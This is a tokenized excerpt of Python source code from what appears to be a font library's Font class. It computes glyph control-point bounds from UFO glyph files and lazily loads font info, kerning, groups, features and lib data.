"def_", "\\u", "get", "\\u", "control", "Point", "Bounds_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "font", "Tools_", "._", "misc_", "._", "transform_", "import_", "Transform_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "storage_", "\\u\\u\\uNL\\u\\u\\u_", "glyph", "Rect", "s_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "component", "Reference", "s_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "scan", " ", "load", "ed", " ", "glyphs_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "glyph", "Name_", ",_", "glyph_", "in_", "self_", "._", "\\u", "glyphs_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "glyph", "Name_", "in_", "self_", "._", "\\u", "schedule", "d", "For", "Deletion", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "glyph", "Rect_", "=_", "glyph_", "._", "control", "Point", "Bounds_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "glyph", "Rect_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "glyph", "Rect", "s_", "[_", "glyph", "Name_", "]_", "=_", "glyph", "Rect_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "scan", " ", "glyph", "s", " ", "tha", "t", " ", "have", " ", "not", " ", "bee", "n", " ", "loaded_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "path_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "glyph", "s", "Path_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "path_", ",_", "\"", "glyph", "s", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "glyph", "Name_", ",_", "file", "Name_", "in_", "self_", "._", "\\u", "glyph", "Set_", "._", "contents_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "glyph", "Name_", "in_", "self_", "._", "\\u", "glyphs_", "or_", "glyph", "Name_", "in_", "self_", "._", "\\u", "schedule", "d", "For", "Deletion", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "get", " ", "the", " ", "GL", "IF", " ", "text_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "glyph", "Path_", "=_", "os_", "._", "path_", "._", "join_", "(_", "glyph", "s", "Path_", ",_", "file", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "open_", "(_", "glyph", "Path_", ",_", "\"", "rb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "f_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "get", " ", "the", " ", "point", " ", "bound", "ing", " ", "box_", "\\u\\u\\uNL\\u\\u\\u_", "x", "Min_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x", "Max_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y", "Min_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y", "Max_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "line_", "in_", "control", "Bound", "s", "Point", "RE_", "._", "findall_", "(_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "x_", "=_", "control", "Bound", "s", "Point", "XR", "E_", "._", "findall_", "(_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "x_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "y_", "=_", "control", "Bound", "s", "Point", "YR", "E_", "._", "findall_", "(_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "y_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "x_", "=_", "int_", "(_", "x_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "x", "Min_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "x", "Min_", "=_", "x", "Max_", "=_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "x", "Min_", ">_", "x_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "x", "Min_", "=_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "x", "Max_", "<_", "x_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "x", "Max_", "=_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "y_", "=_", "int_", "(_", "y_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "y", "Min_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "y", "Min_", "=_", "y", "Max_", "=_", "y_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "y", "Min_", ">_", "y_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "y", "Min_", "=_", "y_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "y", "Max_", "<_", "y_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "y", "Max_", "=_", "y_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "glyph", "Rect_", "=_", "(_", "x", "Min_", ",_", "y", "Min_", ",_", "x", "Max_", ",_", "y", "Max_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "None_", "not_", "in_", "glyph", "Rect_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "glyph", "Rect", "s_", "[_", "glyph", "Name_", "]_", "=_", "glyph", "Rect_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "get", " ", "all", " ", "component", " ", "references_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "line_", "in_", "control", "Bound", "s", "Compo", "nent", "RE_", "._", "findall_", "(_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "base_", "=_", "control", "Bound", "s", "Compo", "nent", "Base", "RE_", "._", "findall_", "(_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "base_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "base_", "=_", "base_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "x", "Scale_", "\\u\\u\\uNL\\u\\u\\u_", "x", "Scale_", "=_", "control", "Bound", "s", "Compo", "nent", "XS", "cale", "RE_", "._", "findall_", "(_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "x", "Scale_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "x", "Scale_", "=_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "x", "Scale_", "=_", "float_", "(_", "x", "Scale_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "y", "Scale_", "\\u\\u\\uNL\\u\\u\\u_", "y", "Scale_", "=_", "control", "Bound", "s", "Compo", "nent", "YS", "cale", "RE_", "._", "findall_", "(_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "y", "Scale_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "y", "Scale_", "=_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "y", "Scale_", "=_", "float_", "(_", "y", "Scale_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "xy", "Scale_", "\\u\\u\\uNL\\u\\u\\u_", "xy", "Scale_", "=_", "control", "Bound", "s", "Compo", "nent", "XY", "Scale", "RE_", "._", "findall_", "(_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "xy", "Scale_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "xy", "Scale_", "=_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "xy", "Scale_", "=_", "float_", "(_", "xy", "Scale_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "yx", "Scale_", "\\u\\u\\uNL\\u\\u\\u_", "yx", "Scale_", "=_", "control", "Bound", "s", "Compo", "nent", "YX", "Scale", "RE_", "._", "findall_", "(_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "yx", "Scale_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "yx", "Scale_", "=_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "yx", "Scale_", "=_", "float_", "(_", "yx", "Scale_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "x", "Offset_", "\\u\\u\\uNL\\u\\u\\u_", "x", "Offset_", "=_", "control", "Bound", "s", "Compo", "nent", "XO", "ffset", "RE_", "._", "findall_", "(_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "x", "Offset_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "x", "Offset_", "=_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "x", "Offset_", "=_", "int_", "(_", "x", "Offset_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "y", "Offset_", "\\u\\u\\uNL\\u\\u\\u_", "y", "Offset_", "=_", "control", "Bound", "s", "Compo", "nent", "YO", "ffset", "RE_", "._", "findall_", "(_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "y", "Offset_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "y", "Offset_", "=_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "y", "Offset_", "=_", "int_", "(_", "y", "Offset_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "glyph", "Name_", "not_", "in_", "component", "Reference", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "component", "Reference", "s_", "[_", "glyph", "Name_", "]_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "component", "Reference", "s_", "[_", "glyph", "Name_", "]_", "._", "append_", "(_", "(_", "base_", ",_", "x", "Scale_", ",_", "xy", "Scale_", ",_", "yx", "Scale_", ",_", "y", "Scale_", ",_", "x", "Offset_", ",_", "y", "Offset_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "get", " ", "the", " ", "transforme", "d", " ", "component", " ", "bound", "ing", " ", "box", "es", " ", "and", " ", "update", " ", "the", " ", "glyphs_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "glyph", "Name_", ",_", "components_", "in_", "component", "Reference", "s_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "glyph", "Rect_", "=_", "glyph", "Rect", "s_", "._", "get_", "(_", "glyph", "Name_", ",_", "(_", "None_", ",_", "None_", ",_", "None_", ",_", "None_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "XX", "X", " ", "this", " ", "doe", "sn", "'", "t", " ", "handle", " ", "nest", "ed", " ", "components_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "base_", ",_", "x", "Scale_", ",_", "xy", "Scale_", ",_", "yx", "Scale_", ",_", "y", "Scale_", ",_", "x", "Offset_", ",_", "y", "Offset_", "in_", "components_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "base", " ", "glyph", " ", "doe", "sn", "'", "t", " ", "exist_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "base_", "not_", "in_", "glyph", "Rect", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "base", "Rect_", "=_", "glyph", "Rect", "s_", "[_", "base_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "base", " ", "glyph", " ", "has", " ", "no", " ", "points_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "None_", "in_", "base", "Rect_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "transform", " ", "the", " ", "base", " ", "rect_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "transform_", "=_", "Transform_", "(_", "xx_", "=_", "x", "Scale_", ",_", "xy_", "=_", "xy", "Scale_", ",_", "yx", "_", "=_", "yx", "Scale_", ",_", "yy_", "=_", "y", "Scale_", ",_", "dx_", "=_", "x", "Offset_", ",_", "dy_", "=_", "y", "Offset_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x", "Min_", ",_", "y", "Min_", ",_", "x", "Max_", ",_", "y", "Max_", "=_", "base", "Rect_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "x", "Min_", ",_", "y", "Min_", ")_", ",_", "(_", "x", "Max_", ",_", "y", "Max_", ")_", "=_", "transform_", "._", "transform", "Points_", "(_", "[_", "(_", "x", "Min_", ",_", "y", "Min_", ")_", ",_", "(_", "x", "Max_", ",_", "y", "Max_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "component", "Rect_", "=_", "(_", "x", "Min_", ",_", "y", "Min_", ",_", "x", "Max_", ",_", "y", "Max_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "update", " ", "the", " ", "glyph", " ", "rect_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "None_", "in_", "glyph", "Rect_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "glyph", "Rect_", "=_", "component", "Rect_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "glyph", "Rect_", "=_", "uni", "on", "Rect_", "(_", "glyph", "Rect_", ",_", "component", "Rect_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "store", " ", "the", " ", "update", "d", " ", "rect_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "glyph", "Rect", "s_", "[_", "glyph", "Name_", "]_", "=_", "glyph", "Rect_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "work", " ", "out", " ", "the", " ", "unifie", "d", " ", "rect_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "font", "Rect_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "glyph", "Rect_", "in_", "glyph", "Rect", "s_", "._", "values_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "font", "Rect_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "font", "Rect_", "=_", "glyph", "Rect_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "glyph", "Rect_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "font", "Rect_", "=_", "uni", "on", "Rect_", "(_", "font", "Rect_", ",_", "glyph", "Rect_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "done_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "font", "Rect_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "get", "\\u", "info_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "\\u", "info_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "info_", "=_", "self_", "._", "\\u", "info", "Class_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "info_", "._", "dispatcher_", "=_", "self_", "._", "dispatcher_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "info_", "._", "set", "Parent_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "\\u", "path_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "reader_", "=_", "ufo", "Lib_", "._", "UF", "OR", "eader", "_", "(_", "self_", "._", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reader_", "._", "read", "Info_", "(_", "self_", "._", "\\u", "info_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "info_", "._", "dirty_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "info_", "._", "add", "Observer_", "(_", "observer_", "=_", "self_", ",_", "method", "Name_", "=_", "\"\\u", "object", "Dirty", "State", "Change", "\"_", ",_", "notification_", "=_", "\"", "Info", ".", "Change", "d", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "stamp", "Info", "Data", "State_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "\\u", "info_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "get", "\\u", "kern", "ing_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "\\u", "kern", "ing_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "kern", "ing_", "=_", "self_", "._", "\\u", "kern", "ing", "Class_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "kern", "ing_", "._", "dispatcher_", "=_", "self_", "._", "dispatcher_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "kern", "ing_", "._", "set", "Parent_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "\\u", "path_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "reader_", "=_", "ufo", "Lib_", "._", "UF", "OR", "eader", "_", "(_", "self_", "._", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "reader_", "._", "read", "Kern", "ing_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "kern", "ing_", "._", "update_", "(_", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "kern", "ing_", "._", "dirty_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "kern", "ing_", "._", "add", "Observer_", "(_", "observer_", "=_", "self_", ",_", "method", "Name_", "=_", "\"\\u", "object", "Dirty", "State", "Change", "\"_", ",_", "notification_", "=_", "\"", "Kern", "ing", ".", "Change", "d", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "stamp", "Kern", "ing", "Data", "State_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "\\u", "kern", "ing_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "get", "\\u", "groups_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "\\u", "groups_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "groups_", "=_", "self_", "._", "\\u", "group", "s", "Class_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "groups_", "._", "dispatcher_", "=_", "self_", "._", "dispatcher_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "groups_", "._", "set", "Parent_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "\\u", "path_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "reader_", "=_", "ufo", "Lib_", "._", "UF", "OR", "eader", "_", "(_", "self_", "._", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "reader_", "._", "read", "Groups_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "groups_", "._", "update_", "(_", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "groups_", "._", "dirty_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "groups_", "._", "add", "Observer_", "(_", "observer_", "=_", "self_", ",_", "method", "Name_", "=_", "\"\\u", "object", "Dirty", "State", "Change", "\"_", ",_", "notification_", "=_", "\"", "Group", "s", ".", "Change", "d", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "stamp", "Group", "s", "Data", "State_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "\\u", "groups_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "get", "\\u", "features_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "\\u", "features_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "features_", "=_", "self_", "._", "\\u", "features", "Class_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "features_", "._", "dispatcher_", "=_", "self_", "._", "dispatcher_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "features_", "._", "set", "Parent_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "\\u", "path_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "reader_", "=_", "ufo", "Lib_", "._", "UF", "OR", "eader", "_", "(_", "self_", "._", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "=_", "reader_", "._", "read", "Features_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "features_", "._", "text_", "=_", "t_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "features_", "._", "dirty_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "features_", "._", "add", "Observer_", "(_", "observer_", "=_", "self_", ",_", "method", "Name_", "=_", "\"\\u", "object", "Dirty", "State", "Change", "\"_", ",_", "notification_", "=_", "\"", "Feature", "s", ".", "Change", "d", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "stamp", "Feature", "s", "Data", "State_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "\\u", "features_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "get", "\\u", "lib_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "\\u", "lib_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "lib_", "=_", "self_", "._", "\\u", "lib", "Class_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "lib_", "._", "dispatcher_", "=_", "self_", "._", "dispatcher_", 